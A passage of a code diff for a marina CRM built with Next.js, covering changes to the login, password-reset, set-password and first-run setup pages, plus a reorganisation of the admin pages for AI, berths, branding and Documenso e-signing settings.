+      <form onSubmit={submitWithScroll(onSubmit)} className="space-y-4" noValidate>
+        <FormErrorSummary
+          errors={errors}
+          labels={{ identifier: 'Email or username', password: 'Password' }}
+        />
         <div className="space-y-1.5">
           <Label htmlFor="identifier">Email or username</Label>
           <Input
@@ -112,7 +140,10 @@ export default function LoginPage() {
         <div className="space-y-1.5">
           <div className="flex items-center justify-between">
             <Label htmlFor="password">Password</Label>
-            <Link href="/reset-password" className="text-xs text-[#007bff] hover:underline">
+            <Link
+              href="/reset-password"
+              className="text-xs text-[#0058b3] underline-offset-2 underline hover:no-underline"
+            >
               Forgot password?
             </Link>
           </div>

src/app/(auth)/reset-password/page.tsx

@@ -1,7 +1,8 @@
 'use client';
 
-import { useState } from 'react';
+import { useEffect, useState } from 'react';
 import Link from 'next/link';
+import { useRouter, useSearchParams } from 'next/navigation';
 import { useForm } from 'react-hook-form';
 import { zodResolver } from '@hookform/resolvers/zod';
 import { z } from 'zod';
@@ -10,6 +11,8 @@ import { Button } from '@/components/ui/button';
 import { Input } from '@/components/ui/input';
 import { Label } from '@/components/ui/label';
 import { BrandedAuthShell } from '@/components/shared/branded-auth-shell';
+import { FormErrorSummary } from '@/components/forms/form-error-summary';
+import { useFormScrollToError } from '@/hooks/use-form-scroll-to-error';
 import { cn } from '@/lib/utils';
 
 const resetSchema = z.object({
@@ -19,6 +22,8 @@ const resetSchema = z.object({
 type ResetFormData = z.infer<typeof resetSchema>;
 
 export default function ResetPasswordPage() {
+  const router = useRouter();
+  const searchParams = useSearchParams();
   const [submitted, setSubmitted] = useState(false);
   const [isLoading, setIsLoading] = useState(false);
 
@@ -29,17 +34,41 @@ export default function ResetPasswordPage() {
   } = useForm<ResetFormData>({
     resolver: zodResolver(resetSchema),
   });
+  const submitWithScroll = useFormScrollToError(handleSubmit, errors);
+
+  // If the user landed here from a stale email link that points to
+  // `/reset-password?token=…` instead of `/set-password?token=…`, hand
+  // them off to the set-password form (the one that actually knows how
+  // to consume the token). New emails should point straight at
+  // `/set-password`, but old links live in inboxes for a long time.
+  useEffect(() => {
+    const token = searchParams.get('token');
+    if (token) {
+      router.replace(`/set-password?token=${encodeURIComponent(token)}`);
+    }
+  }, [router, searchParams]);
 
   async function onSubmit(data: ResetFormData) {
     setIsLoading(true);
     try {
-      // Always show the same success message regardless of whether the email exists.
-      await fetch('/api/auth/reset-password', {
+      // Better-auth's request-link endpoint is `/api/auth/request-password-reset`.
+      // `/api/auth/reset-password` is the *consume-token* endpoint and silently
+      // rejects an email-only payload, which is why the old code appeared to
+      // "succeed" without ever sending mail.
+      const response = await fetch('/api/auth/request-password-reset', {
         method: 'POST',
         headers: { 'Content-Type': 'application/json' },
-        body: JSON.stringify({ email: data.email }),
+        body: JSON.stringify({ email: data.email, redirectTo: '/set-password' }),
       });
 
+      // Treat 400 "user not found" as success so we don't leak whether the
+      // account exists - the success copy says "if an account exists…".
+      // Anything else (5xx, network) surfaces as a real error.
+      if (!response.ok && response.status !== 400) {
+        toast.error('Something went wrong. Please try again.');
+        return;
+      }
+
       setSubmitted(true);
     } catch {
       toast.error('Something went wrong. Please try again.');
@@ -62,12 +91,16 @@ export default function ResetPasswordPage() {
             If an account exists for that email address, we have sent a password reset link. Please
             check your inbox and spam folder.
           </p>
-          <Link href="/login" className="inline-block text-sm text-[#007bff] hover:underline">
+          <Link
+            href="/login"
+            className="inline-block text-sm text-[#0058b3] underline-offset-2 underline hover:no-underline"
+          >
             Back to sign in
           </Link>
         </div>
       ) : (
-        <form onSubmit={handleSubmit(onSubmit)} className="space-y-4" noValidate>
+        <form onSubmit={submitWithScroll(onSubmit)} className="space-y-4" noValidate>
+          <FormErrorSummary errors={errors} labels={{ email: 'Email' }} />
           <div className="space-y-1.5">
             <Label htmlFor="email">Email</Label>
             <Input
@@ -92,7 +125,10 @@ export default function ResetPasswordPage() {
 
           <p className="text-center text-sm text-gray-500">
             Remember your password?{' '}
-            <Link href="/login" className="text-[#007bff] hover:underline">
+            <Link
+              href="/login"
+              className="text-[#0058b3] underline-offset-2 underline hover:no-underline"
+            >
               Sign in
             </Link>
           </p>

src/app/(auth)/set-password/page.tsx

@@ -1,8 +1,8 @@
 'use client';
 
-import { Suspense, useState } from 'react';
+import { Suspense, useState, useSyncExternalStore } from 'react';
 import Link from 'next/link';
-import { useRouter, useSearchParams } from 'next/navigation';
+import { useRouter } from 'next/navigation';
 import { useForm } from 'react-hook-form';
 import { zodResolver } from '@hookform/resolvers/zod';
 import { z } from 'zod';
@@ -12,6 +12,8 @@ import { Button } from '@/components/ui/button';
 import { Input } from '@/components/ui/input';
 import { Label } from '@/components/ui/label';
 import { BrandedAuthShell } from '@/components/shared/branded-auth-shell';
+import { FormErrorSummary } from '@/components/forms/form-error-summary';
+import { useFormScrollToError } from '@/hooks/use-form-scroll-to-error';
 
 const MIN_LENGTH = 9;
 
@@ -27,10 +29,35 @@ const passwordSchema = z
 
 type SetPasswordFormData = z.infer<typeof passwordSchema>;
 
+/**
+ * H-03: tokens travel in the URL fragment (`#token=…`) so they never land
+ * in HTTP access logs or HTTP-Referer headers. Pre-fragment links still
+ * carry `?token=…` and stay functional until every outstanding invite
+ * expires - drop the `?token=` fallback after that grace period.
+ */
+function readTokenFromUrl(): string {
+  if (typeof window === 'undefined') return '';
+  const hash = window.location.hash.replace(/^#/, '');
+  if (hash) {
+    const params = new URLSearchParams(hash);
+    const fromFragment = params.get('token');
+    if (fromFragment) return fromFragment;
+  }
+  const search = new URLSearchParams(window.location.search);
+  return search.get('token') ?? '';
+}
+
+const subscribeNoop = () => () => undefined;
+
 function SetPasswordInner() {
   const router = useRouter();
-  const searchParams = useSearchParams();
-  const token = searchParams.get('token');
+  // useSyncExternalStore so the fragment-only token is read post-hydration
+  // (server snapshot returns null; client returns the actual value).
+  const token = useSyncExternalStore<string | null>(
+    subscribeNoop,
+    () => readTokenFromUrl(),
+    () => null,
+  );
   const [isLoading, setIsLoading] = useState(false);
 
   const {
@@ -40,6 +67,7 @@ function SetPasswordInner() {
   } = useForm<SetPasswordFormData>({
     resolver: zodResolver(passwordSchema),
   });
+  const submitWithScroll = useFormScrollToError(handleSubmit, errors);
 
   async function onSubmit(data: SetPasswordFormData) {
     if (!token) {
@@ -73,6 +101,19 @@ function SetPasswordInner() {
     }
   }
 
+  // Pre-hydration: token is null. Show a loading placeholder so the user
+  // doesn't see a flash of "Link is missing" while the fragment is being
+  // read on the client.
+  if (token === null) {
+    return (
+      <BrandedAuthShell>
+        <div role="status" aria-live="polite" className="text-center text-sm text-gray-500">
+          Loading…
+        </div>
+      </BrandedAuthShell>
+    );
+  }
+
   if (!token) {
     return (
       <BrandedAuthShell>
@@ -82,7 +123,10 @@ function SetPasswordInner() {
             Please use the link from the email we sent you. If the link is broken, ask your
             administrator for a new one.
           </p>
-          <Link href="/login" className="inline-block text-sm text-[#007bff] hover:underline">
+          <Link
+            href="/login"
+            className="inline-block text-sm text-[#0058b3] underline-offset-2 underline hover:no-underline"
+          >
             Back to sign in
           </Link>
         </div>
@@ -97,7 +141,11 @@ function SetPasswordInner() {
         <p className="text-sm text-gray-500 mt-1">Choose a password for your CRM account</p>
       </div>
 
-      <form onSubmit={handleSubmit(onSubmit)} className="space-y-4" noValidate>
+      <form onSubmit={submitWithScroll(onSubmit)} className="space-y-4" noValidate>
+        <FormErrorSummary
+          errors={errors}
+          labels={{ password: 'Password', confirmPassword: 'Confirm password' }}
+        />
         <div className="space-y-1.5">
           <Label htmlFor="password">New password</Label>
           <Input
@@ -105,10 +153,13 @@ function SetPasswordInner() {
             type="password"
             autoComplete="new-password"
             disabled={isLoading}
+            aria-describedby="password-hint"
             className={cn(errors.password && 'border-destructive focus-visible:ring-destructive')}
             {...register('password')}
           />
-          <p className="text-xs text-gray-500">At least {MIN_LENGTH} characters.</p>
+          <p id="password-hint" className="text-xs text-gray-500">
+            At least {MIN_LENGTH} characters.
+          </p>
           {errors.password && <p className="text-sm text-destructive">{errors.password.message}</p>}
         </div>
 

src/app/(auth)/setup/page.tsx

@@ -11,6 +11,9 @@ import { Button } from '@/components/ui/button';
 import { Input } from '@/components/ui/input';
 import { Label } from '@/components/ui/label';
 import { BrandedAuthShell } from '@/components/shared/branded-auth-shell';
+import { useAuthBranding } from '@/components/shared/auth-branding-provider';
+import { FormErrorSummary } from '@/components/forms/form-error-summary';
+import { useFormScrollToError } from '@/hooks/use-form-scroll-to-error';
 import { apiFetch } from '@/lib/api/client';
 import { cn } from '@/lib/utils';
 
@@ -30,12 +33,14 @@ interface StatusResp {
 /**
  * First-run setup. On a fresh DB the very first visitor can claim the
  * super-admin account here. Once anyone claims it, future visits to
- * /setup redirect back to /login — the precondition is verified both
+ * /setup redirect back to /login - the precondition is verified both
  * server-side (`/api/v1/bootstrap/status` + `/api/v1/bootstrap/super-admin`'s
  * internal recheck) and client-side here.
  */
 export default function SetupPage() {
   const router = useRouter();
+  const branding = useAuthBranding();
+  const appName = branding?.appName?.trim() || 'this CRM';
   const [checking, setChecking] = useState(true);
   const [submitting, setSubmitting] = useState(false);
 
@@ -47,6 +52,7 @@ export default function SetupPage() {
   } = useForm<SetupFormData>({
     resolver: zodResolver(setupSchema),
   });
+  const submitWithScroll = useFormScrollToError(handleSubmit, errors);
 
   useEffect(() => {
     let cancelled = false;
@@ -55,13 +61,13 @@ export default function SetupPage() {
         const res = await apiFetch<StatusResp>('/api/v1/bootstrap/status');
         if (cancelled) return;
         if (!res.data.needsBootstrap) {
-          // Already initialized — bounce to login. Replace, not push,
+          // Already initialized - bounce to login. Replace, not push,
           // so back-button doesn't trap the user here.
           router.replace('/login');
           return;
         }
       } catch {
-        // Status endpoint failed — let the user try anyway; the POST
+        // Status endpoint failed - let the user try anyway; the POST
         // does its own check and will surface a 409 if the window closed.
       } finally {
         if (!cancelled) setChecking(false);
@@ -88,7 +94,7 @@ export default function SetupPage() {
           password: data.password,
         },
       });
-      toast.success('Administrator account created — sign in to continue.');
+      toast.success('Administrator account created  -  sign in to continue.');
       router.replace('/login');
     } catch (err) {
       toast.error(err instanceof Error ? err.message : 'Failed to create administrator account');
@@ -109,14 +115,23 @@ export default function SetupPage() {
     <BrandedAuthShell>
       <div className="space-y-6">
         <div className="text-center space-y-1">
-          <h1 className="text-xl font-semibold">Welcome to Port Nimara CRM</h1>
+          <h1 className="text-xl font-semibold">Welcome to {appName}</h1>
           <p className="text-sm text-muted-foreground">
-            No administrator account exists yet. Create one to get started — you&rsquo;ll be the
+            No administrator account exists yet. Create one to get started - you&rsquo;ll be the
             super-administrator for this installation.
           </p>
         </div>
 
-        <form onSubmit={handleSubmit(onSubmit)} className="space-y-4">
+        <form onSubmit={submitWithScroll(onSubmit)} className="space-y-4">
+          <FormErrorSummary
+            errors={errors}
+            labels={{
+              name: 'Name',
+              email: 'Email',
+              password: 'Password',
+              confirmPassword: 'Confirm password',
+            }}
+          />
           <div className="space-y-1.5">
             <Label htmlFor="setup-name">Your name</Label>
             <Input
@@ -177,7 +192,7 @@ export default function SetupPage() {
           </Button>
         </form>
 
-        <p className="text-center text-[11px] text-muted-foreground">
+        <p className="text-center text-xs text-muted-foreground">
           This screen is only available until the first administrator is created. After that,
           subsequent users are added through Admin &rarr; Users.
         </p>

src/app/(dashboard)/[portSlug]/admin/ai/page.tsx

@@ -1,100 +1,29 @@
-import Link from 'next/link';
-import { Bot, FileText, Brain, ExternalLink } from 'lucide-react';
+import { Bot, FileScan, Lightbulb } from 'lucide-react';
 
-import {
-  SettingsFormCard,
-  type SettingFieldDef,
-} from '@/components/admin/shared/settings-form-card';
+import { RegistryDrivenForm } from '@/components/admin/shared/registry-driven-form';
 import { PageHeader } from '@/components/shared/page-header';
 import { Card, CardContent, CardDescription, CardHeader, CardTitle } from '@/components/ui/card';
 import { OcrSettingsForm } from '@/components/admin/ocr-settings-form';
 
-const MASTER_FIELDS: SettingFieldDef[] = [
-  {
-    key: 'ai_enabled',
-    label: 'AI features enabled',
-    description:
-      'Master switch. When OFF, every AI surface (receipt OCR fallback, berth-PDF AI parse, future embedding-driven recommendations) is bypassed. Provider keys stay configured but unused.',
-    type: 'boolean',
-    defaultValue: true,
-  },
-  {
-    key: 'ai_monthly_token_cap',
-    label: 'Monthly token cap (this port)',
-    description:
-      'Soft cap on total AI tokens consumed per calendar month across every feature. When exceeded, AI features fall back to non-AI paths and surface a banner. Set 0 for no cap.',
-    type: 'number',
-    defaultValue: 0,
-  },
-];
-
-const PROVIDER_FIELDS: SettingFieldDef[] = [
-  {
-    key: 'openai_api_key',
-    label: 'OpenAI API key',
-    description:
-      'Used by Receipt OCR fallback and (future) berth-PDF AI parse. Stored AES-encrypted at rest; the field shows blank after save.',
-    type: 'password',
-    placeholder: 'sk-…',
-    defaultValue: '',
-  },
-  {
-    key: 'openai_default_model',
-    label: 'Default OpenAI model',
-    description: 'Used when a feature does not specify an explicit model.',
-    type: 'select',
-    defaultValue: 'gpt-4o-mini',
-    options: [
-      { value: 'gpt-4o-mini', label: 'gpt-4o-mini — cheap, fast, vision-capable' },
-      { value: 'gpt-4o', label: 'gpt-4o — full-strength multimodal' },
-      { value: 'gpt-4-turbo', label: 'gpt-4-turbo — legacy text reasoning' },
-    ],
-  },
-];
-
-interface FeatureLink {
-  href: string;
-  icon: typeof Bot;
-  title: string;
-  description: string;
-}
-
-const FEATURE_LINKS: FeatureLink[] = [
-  {
-    href: '../berth-pdf-parser',
-    icon: FileText,
-    title: 'Berth PDF parser',
-    description:
-      'Three-tier AcroForm → OCR → AI pipeline. The AI pass costs tokens; reps invoke it manually when OCR confidence is low.',
-  },
-  {
-    href: '../recommender',
-    icon: Brain,
-    title: 'Berth recommender',
-    description:
-      'Rule-based today; future versions will optionally use embeddings for soft preference matching. AI use is gated by the master switch above.',
-  },
-];
-
 export default function AiAdminPage() {
   return (
     <div className="space-y-6">
       <PageHeader
         title="AI configuration"
-        description="One place to manage every AI-using feature. Provider credentials and the master AI switch live here; per-feature thresholds remain in their dedicated pages, linked below."
+        description="One place to manage every AI-using feature. Provider credentials and the master AI switch live here; per-feature thresholds are embedded below."
         eyebrow="ADMIN"
       />
 
-      <SettingsFormCard
+      <RegistryDrivenForm
         title="Master controls"
         description="Hard kill switch + budget guardrails covering every AI surface in this port."
-        fields={MASTER_FIELDS}
+        sections={['ai.master']}
       />
 
-      <SettingsFormCard
+      <RegistryDrivenForm
         title="Provider credentials"
-        description="Shared API keys used by AI-enabled features. Per-feature pages can override the model on a feature-by-feature basis."
-        fields={PROVIDER_FIELDS}
+        description="Shared API keys used by AI-enabled features. AES-encrypted at rest. Per-feature pages can override the model on a feature-by-feature basis."
+        sections={['ai.providers']}
       />
 
       <Card>
@@ -112,32 +41,44 @@ export default function AiAdminPage() {
         </CardContent>
       </Card>
 
+      {/*
+        Berth-PDF parser AI fallback - currently configured via the
+        BERTH_PDF_PARSER_* env vars. No per-port override surface today;
+        when one is added, it lands here so admins don't have to hunt.
+      */}
       <Card>
         <CardHeader>
           <CardTitle className="text-base flex items-center gap-2">
-            <Bot className="h-4 w-4" /> Per-feature settings
+            <FileScan className="h-4 w-4" /> Berth PDF parser
           </CardTitle>
           <CardDescription>
-            Feature-specific tuning lives on each feature&apos;s admin page. They all read the
-            master switch + provider credentials configured above.
+            3-tier extraction (AcroForm → on-device OCR → AI fallback on low confidence) for
+            per-berth PDFs and brochures. Provider + confidence threshold are env-controlled today
+            (BERTH_PDF_PARSER_PROVIDER, BERTH_PDF_PARSER_CONFIDENCE_FLOOR); a per-port override UI
+            lands in a follow-up. The master switch above gates the AI tier across every port.
+          </CardDescription>
+        </CardHeader>
+      </Card>
+
+      {/*
+        Future AI surfaces. Each gets a section here once it ships:
+          - Recommender embeddings (currently rule-based, not LLM-based)
+          - Contact-log action extraction (deferred - needs user demand)
+          - Inquiry-form auto-classification (deferred)
+        Listing them inert here closes the "where do I configure AI?"
+        loop - admins land on /admin/ai and see the full landscape.
+      */}
+      <Card>
+        <CardHeader>
+          <CardTitle className="text-base flex items-center gap-2 text-muted-foreground">
+            <Lightbulb className="h-4 w-4" /> Planned AI surfaces
+          </CardTitle>
+          <CardDescription>
+            Recommender embeddings, contact-log action extraction, and inquiry-form auto-
+            classification are queued. They will surface as additional sections on this page when
+            shipped, with no scattered admin entries to hunt down.
           </CardDescription>
         </CardHeader>
-        <CardContent className="grid gap-3 sm:grid-cols-2 lg:grid-cols-3">
-          {FEATURE_LINKS.map((f) => (
-            <Link
-              key={f.href}
-              href={f.href as never}
-              className="rounded-md border bg-card p-3 hover:border-primary transition-colors block"
-            >
-              <div className="flex items-center gap-2 text-sm font-medium">
-                <f.icon className="h-4 w-4 text-muted-foreground" />
-                {f.title}
-                <ExternalLink className="ml-auto h-3 w-3 opacity-50" />
-              </div>
-              <p className="mt-1 text-xs text-muted-foreground">{f.description}</p>
-            </Link>
-          ))}
-        </CardContent>
       </Card>
     </div>
   );

src/app/(dashboard)/[portSlug]/admin/berths/page.tsx

@@ -0,0 +1,88 @@
+import Link from 'next/link';
+import type { Route } from 'next';
+import { AlertCircle, Anchor, FileSearch } from 'lucide-react';
+
+import { PageHeader } from '@/components/shared/page-header';
+import { Card, CardContent, CardDescription, CardHeader, CardTitle } from '@/components/ui/card';
+
+/**
+ * Berths admin index. Both sub-pages (`bulk-add`, `reconcile`) existed
+ * pre-2026-05-22 but were only reachable via deep links from inside the
+ * Berths list. Surfacing them on a dedicated admin landing tile so the
+ * tools are discoverable without prior knowledge of the URL - part of
+ * the admin IA regroup (B3 #10 Phase 2).
+ */
+export default async function BerthsAdminIndex({
+  params,
+}: {
+  params: Promise<{ portSlug: string }>;
+}) {
+  const { portSlug } = await params;
+  const tools = [
+    {
+      href: `/${portSlug}/admin/berths/bulk-add` as Route,
+      label: 'Bulk add berths',
+      description:
+        'Generate many berth rows in one wizard - set pier, prefix, mooring number range, and per-berth defaults; preview before commit.',
+      icon: Anchor,
+    },
+    {
+      href: `/${portSlug}/admin/berths/reconcile` as Route,
+      label: 'Reconciliation queue',
+      description:
+        "Berths missing required fields after import / PDF parse. Surface what's missing per row and link straight to the edit sheet.",
+      icon: FileSearch,
+    },
+  ] as const;
+
+  return (
+    <div className="space-y-6">
+      <PageHeader
+        title="Berths admin"
+        eyebrow="ADMIN"
+        description="Tools for bulk berth creation and post-import reconciliation. Single-berth edits stay on the Berths list - these surfaces are for batch operations."
+      />
+
+      <div className="grid grid-cols-1 gap-4 sm:grid-cols-2">
+        {tools.map((t) => {
+          const Icon = t.icon;
+          return (
+            <Link key={t.href} href={t.href} className="block group">
+              <Card className="h-full transition-colors group-hover:border-primary/50 group-hover:bg-muted/30">
+                <CardHeader className="flex flex-row items-start gap-3 space-y-0 pb-2">
+                  <Icon
+                    className="h-5 w-5 mt-0.5 text-muted-foreground group-hover:text-primary"
+                    aria-hidden
+                  />
+                  <CardTitle className="text-base">{t.label}</CardTitle>
+                </CardHeader>
+                <CardContent>
+                  <CardDescription>{t.description}</CardDescription>
+                </CardContent>
+              </Card>
+            </Link>
+          );
+        })}
+      </div>
+
+      <Card className="border-amber-200 bg-amber-50/50">
+        <CardHeader className="flex flex-row items-start gap-3 space-y-0 pb-2">
+          <AlertCircle className="h-5 w-5 mt-0.5 text-amber-600" aria-hidden />
+          <CardTitle className="text-sm">Not what you&apos;re looking for?</CardTitle>
+        </CardHeader>
+        <CardContent>
+          <CardDescription className="text-xs">
+            For single-berth edits, browse to the{' '}
+            <Link
+              href={`/${portSlug}/berths` as Route}
+              className="font-medium text-primary hover:underline"
+            >
+              Berths list
+            </Link>{' '}
+            and click any row. Per-berth PDF uploads + brochure assignment also live there.
+          </CardDescription>
+        </CardContent>
+      </Card>
+    </div>
+  );
+}

src/app/(dashboard)/[portSlug]/admin/berths/reconcile/page.tsx

@@ -0,0 +1,14 @@
+import { PageHeader } from '@/components/shared/page-header';
+import { ReconcileQueue } from '@/components/admin/reconcile-queue';
+
+export default function ReconcileBerthsPage() {
+  return (
+    <div className="space-y-6">
+      <PageHeader
+        title="Berth reconciliation queue"
+        description="Berths flipped manually to Under Offer or Sold without a backing interest. Run the catch-up wizard on each row to create the deal, attach docs, and clear the manual flag."
+      />
+      <ReconcileQueue />
+    </div>
+  );
+}

src/app/(dashboard)/[portSlug]/admin/branding/page.tsx

@@ -4,6 +4,7 @@ import {
 } from '@/components/admin/shared/settings-form-card';
 import { PageHeader } from '@/components/shared/page-header';
 import { PdfLogoUploader } from '@/components/admin/branding/pdf-logo-uploader';
+import { EmailPreviewCard } from '@/components/admin/branding/email-preview-card';
 
 const DEFAULT_EMAIL_HEADER_HTML = `<!-- Optional pre-body header -->
 <table role="presentation" width="100%" cellpadding="0" cellspacing="0" style="border-collapse:collapse;">
@@ -45,6 +46,18 @@ const FIELDS: SettingFieldDef[] = [
     imageAspect: 1,
     defaultValue: '',
   },
+  {
+    key: 'branding_email_background_url',
+    label: 'Email background image',
+    description:
+      'Blurred photo shown behind the white email card and the auth-shell (login / reset password) pages. Leave blank to render a plain off-white backdrop. Recommended: 1920x1080 JPG, pre-blurred to ~20px gaussian so it reads as a soft background even on small clients.',
+    type: 'image-upload',
+    // 16:9 - landscape. Without an explicit aspect, the cropper falls
+    // back to 1:1 and renders a circular mask (intended for avatars),
+    // which is the wrong UX for a viewport-cover background.
+    imageAspect: 16 / 9,
+    defaultValue: '',
+  },
   {
     key: 'branding_primary_color',
     label: 'Primary color',
@@ -88,6 +101,7 @@ export default function BrandingSettingsPage() {
         description="HTML fragments rendered around every transactional email."
         fields={FIELDS.slice(3)}
       />
+      <EmailPreviewCard />
       <PdfLogoUploader />
     </div>
   );

src/app/(dashboard)/[portSlug]/admin/brochures/page.tsx

@@ -6,7 +6,7 @@ import { BrochuresAdminPanel } from '@/components/admin/brochures-admin-panel';
  *
  * Lists brochures, lets per-port admins upload new versions via direct-to-
  * storage presigned URLs (so the 20MB+ file never traverses Next.js's
- * body-size limit — see §11.1), and toggle the default flag.
+ * body-size limit - see §11.1), and toggle the default flag.
  */
 export default function BrochuresAdminPage() {
   return (

src/app/(dashboard)/[portSlug]/admin/documenso/page.tsx

@@ -1,229 +1,39 @@
 import { CheckCircle2, Info } from 'lucide-react';
 
-import {
-  SettingsFormCard,
-  type SettingFieldDef,
-} from '@/components/admin/shared/settings-form-card';
+import { RegistryDrivenForm } from '@/components/admin/shared/registry-driven-form';
 import { DocumensoTestButton } from '@/components/admin/documenso/documenso-test-button';
+import { EmbeddedSigningCard } from '@/components/admin/documenso/embedded-signing-card';
+import { TemplateSyncButton } from '@/components/admin/documenso/template-sync-button';
+import { WebhookHealthCard } from '@/components/admin/documenso/webhook-health-card';
 import { PageHeader } from '@/components/shared/page-header';
 import { Card, CardContent, CardHeader, CardTitle } from '@/components/ui/card';
 
-const API_FIELDS: SettingFieldDef[] = [
-  {
-    key: 'documenso_api_url_override',
-    label: 'API URL override',
-    description:
-      'Optional. Falls back to DOCUMENSO_API_URL env when blank. Bare host only — never include /api/v1; the client appends versioned paths based on the API version below.',
-    type: 'string',
-    placeholder: 'https://documenso.example.com',
-    defaultValue: '',
-  },
-  {
-    key: 'documenso_api_key_override',
-    label: 'API key override',
-    description: 'Optional. Falls back to DOCUMENSO_API_KEY env when blank. Stored in plain text.',
-    type: 'password',
-    defaultValue: '',
-  },
-  {
-    key: 'documenso_api_version_override',
-    label: 'API version',
-    description:
-      'Which Documenso REST API this port targets. v1 = Documenso 1.13.x stable. v2 = Documenso 2.x with the envelope model and richer per-field metadata. Test the connection after switching. See the v2 benefits card above for what changes when you flip this — and note that template-based EOI generation still uses the v1 formValues shape regardless of this setting (v2 template/use migration is on the roadmap).',
-    type: 'select',
-    options: [
-      { value: 'v1', label: 'v1 — Documenso 1.13.x (default, stable)' },
-      { value: 'v2', label: 'v2 — Documenso 2.x (envelope, recommended for new ports)' },
-    ],
-    defaultValue: 'v1',
-  },
-];
-
-const SIGNER_FIELDS: SettingFieldDef[] = [
-  {
-    key: 'documenso_developer_name',
-    label: 'Developer signer — name',
-    description:
-      'The party who signs after the client (typically the marina developer or owner). Used as the static "developer" recipient in templated documents (EOI). Was hardcoded as "David Mizrahi" in the legacy single-tenant system.',
-    type: 'string',
-    placeholder: 'David Mizrahi',
-    defaultValue: '',
-  },
-  {
-    key: 'documenso_developer_email',
-    label: 'Developer signer — email',
-    description: 'Email used to send the developer signing request via Documenso.',
-    type: 'string',
-    placeholder: 'dm@portnimara.com',
-    defaultValue: '',
-  },
-  {
-    key: 'documenso_developer_label',
-    label: 'Developer signer — display label',
-    description:
-      'How the developer slot is referenced in email subjects + signer-progress UI copy. Defaults to "Developer" when blank.',
-    type: 'string',
-    placeholder: 'Developer',
-    defaultValue: '',
-  },
-  {
-    key: 'documenso_developer_user_id',
-    label: 'Developer signer — linked CRM user (optional)',
-    description:
-      "Project Director RBAC binding. When set, the webhook handler fires an in-CRM notification for this user when it's their turn to sign — alongside the branded email. Leave blank if the developer slot doesn't map to a CRM user (e.g. external developer). Use the user's UUID from /admin/users.",
-    type: 'string',
-    placeholder: '00000000-0000-0000-0000-000000000000',
-    defaultValue: '',
-  },
-  {
-    key: 'documenso_approver_name',
-    label: 'Approver — name',
-    description:
-      'The final approver who signs after the developer (typically a sales/legal lead). Was hardcoded as "Abbie May" in the legacy system.',
-    type: 'string',
-    placeholder: 'Abbie May',
-    defaultValue: '',
-  },
-  {
-    key: 'documenso_approver_email',
-    label: 'Approver — email',
-    description: 'Email used to route the final approval signing request.',
-    type: 'string',
-    placeholder: 'sales@portnimara.com',
-    defaultValue: '',
-  },
-  {
-    key: 'documenso_approver_label',
-    label: 'Approver — display label',
-    description:
-      'How the approver slot is referenced in email subjects + signer-progress UI copy. Defaults to "Approver" when blank.',
-    type: 'string',
-    placeholder: 'Approver',
-    defaultValue: '',
-  },
-  {
-    key: 'documenso_approver_user_id',
-    label: 'Approver — linked CRM user (optional)',
-    description:
-      "Same as developer's linked user — when set, fires an in-CRM notification when it's the approver's turn. Use the user's UUID from /admin/users.",
-    type: 'string',
-    placeholder: '00000000-0000-0000-0000-000000000000',
-    defaultValue: '',
-  },
-];
-
-const EOI_FIELDS: SettingFieldDef[] = [
-  {
-    key: 'documenso_eoi_template_id',
-    label: 'EOI Documenso template ID',
-    description: 'Numeric template ID used by the Documenso EOI pathway.',
-    type: 'string',
-    placeholder: '12345',
-    defaultValue: '',
-  },
-  {
-    key: 'eoi_default_pathway',
-    label: 'Default EOI pathway',
-    description:
-      'Which pathway is used when an EOI is generated without an explicit choice. Documenso = signed via Documenso, In-app = filled locally with pdf-lib.',
-    type: 'select',
-    options: [
-      { value: 'documenso-template', label: 'Documenso template' },
-      { value: 'inapp', label: 'In-app (pdf-lib)' },
-    ],
-    defaultValue: 'documenso-template',
-  },
-  {
-    key: 'eoi_send_mode',
-    label: 'Initial signing-invitation email behaviour',
-    description:
-      'Auto = the system sends our branded "please sign" email immediately when an EOI/contract/reservation is generated. Manual = the document is generated and the signing URL appears in the UI; a rep clicks "Send invitation" to dispatch. Auto is the lower-friction option for high-volume teams; manual lets reps review before sending. Applies to all document types, not just EOI.',
-    type: 'select',
-    options: [
-      { value: 'manual', label: 'Manual (rep clicks Send after generation)' },
-      { value: 'auto', label: 'Auto (send branded email on generate)' },
-    ],
-    defaultValue: 'manual',
-  },
-];
-
-const CONTRACT_RESERVATION_FIELDS: SettingFieldDef[] = [
-  {
-    key: 'documenso_contract_template_id',
-    label: 'Contract Documenso template ID (optional)',
-    description:
-      'Numeric template ID for sales contract generation. Leave blank to use the per-interest upload-and-place-fields flow instead (the typical path for contracts, since they are usually drafted custom per client).',
-    type: 'string',
-    placeholder: '',
-    defaultValue: '',
-  },
-  {
-    key: 'documenso_reservation_template_id',
-    label: 'Reservation agreement Documenso template ID (optional)',
-    description:
-      'Numeric template ID for reservation agreements. Same logic — leave blank to upload per interest.',
-    type: 'string',
-    placeholder: '',
-    defaultValue: '',
-  },
-];
-
-const EMBED_FIELDS: SettingFieldDef[] = [
-  {
-    key: 'embedded_signing_host',
-    label: 'Embedded signing host',
-    description:
-      "Origin of the public site that hosts the embedded Documenso signing pages. Outbound emails wrap raw Documenso signing URLs into {host}/sign/<type>/<token> so clients sign on your branded page rather than Documenso's domain. Leave blank to fall back to the app URL. Marketing-website pattern: https://portnimara.com",
-    type: 'string',
-    placeholder: 'https://portnimara.com',
-    defaultValue: '',
-  },
-];
-
-const V2_FEATURE_FIELDS: SettingFieldDef[] = [
-  {
-    key: 'documenso_signing_order',
-    label: 'Signing order',
-    description:
-      'PARALLEL = recipients can sign in any order (faster, current default). SEQUENTIAL = Documenso refuses to email recipient N+1 until recipient N has signed, enforcing client → developer → approver order on EOIs. Only applies when API version above is v2 — v1 instances ignore this and always behave as PARALLEL.',
-    type: 'select',
-    options: [
-      { value: '', label: 'PARALLEL (default)' },
-      { value: 'SEQUENTIAL', label: 'SEQUENTIAL — enforce signing order (v2 only)' },
-    ],
-    defaultValue: '',
-  },
-  {
-    key: 'documenso_redirect_url',
-    label: 'Post-signing redirect URL',
-    description:
-      "URL Documenso redirects the signer to after they complete signing. Typically the marketing site's success page so signers land on a branded thank-you rather than Documenso's own page. Leave blank to use Documenso's default. v1 and v2 both honour this. Example: https://portnimara.com/sign/success",
-    type: 'string',
-    placeholder: 'https://portnimara.com/sign/success',
-    defaultValue: '',
-  },
-];
+// All field arrays removed - every Documenso setting now flows through
+// `RegistryDrivenForm`, which surfaces the env-fallback / port / global
+// source badge on each field. The settings themselves live in
+// `src/lib/settings/registry.ts` under sections `documenso.api` /
+// `.signers` / `.templates` / `.behavior`.
 
 export default function DocumensoSettingsPage() {
   return (
     <div className="space-y-6">
       <PageHeader
-        title="Documenso & EOI"
